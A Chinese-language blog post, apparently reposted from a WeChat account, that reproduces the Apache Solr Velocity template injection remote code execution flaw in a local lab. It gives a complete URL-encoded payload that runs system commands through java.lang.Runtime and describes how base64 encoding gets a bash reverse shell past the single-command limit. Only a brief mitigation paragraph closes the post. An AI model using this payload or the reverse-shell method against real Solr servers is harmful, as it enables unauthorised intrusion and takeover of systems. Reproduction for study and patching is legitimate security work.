0X01前言:
据消息称,安全研究员S00pY在GitHub发布了Apache Solr Velocity模板注入远程命令执行的POC.目前测试,可影响Apache Solr 7.X到8.2.0.故本地搭建环境,学习一下
Github的POC:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
0X02本地搭建:
1:在Solr官网下载8.2.0版本进行复现
https://archive.apache.org/dist/luceen/solr/
2:部署到Linux上
将压缩包解压到文件夹(任意一个文件夹都可以),然后进行bin目录启动Solr(注意不是根目录中的/bin)
在此目录打开终端,输入命令./solr start
本地访问端口8983
3:创建核心
先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下
添加核心
然后访问该核心的config文件,查看是否可以访问
确定config配置里的两个值均为True,如果不是,在第一次攻击报文中,修改为True
0X03复现过程:
Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。
然后发送执行命令的payload,这里先进行执行命令的回显.
Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
、
0X04构造EXP:
利用Velocity模板调用java语法进行命令执行,类似于传过去的就像jsp语法.这里有个坑,velocite里没有数组,改造官方POC,构造POC(exec(new String[]))就会出现问题,所以需要换一个方式,用base64编码的方法解决这个问题.
对数组的访问在Velocity中存在问题,因为Velocity只能访问对象的方法,而数组是特殊的数组,所以虽然数组可以循环列举,但不能访问特定位置的元素,如strs[2],数组对固定位置元素的访问调用了数组的反射方法get(Ojbect array,int index).而Velocity没能提供这样的访问,所以数组要么改成List等其他类容器的方式进行封装,或者通过公用Util的方式来提供,传入数组对象和要访问的位置参数,从而达到返回所需值的目的.
进一步利用,进行反弹shell利用bash反弹shell
官网POC,只能执行单个命令的缺陷:当存在|,<,>等符号时就会报错无法执行,无法进行反弹shell等问题,使用base64编码
http://www.jackson-t.ca/runtime-exec-payloads.html
然后在进行url编码,填入替换exec里的payload即可.
0X05防御措施:
攻击者可以直接访问访问Solr控制台,通过访问节点胚子进行getshell获取权限.目前官方已有补丁,在没有补丁的情况下建议增加solr的认证模块,设置强口令,减少被入侵的风险.
本文始发于微信公众号(黑白之道):Solr Velocity模板远程代码复现及利用指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论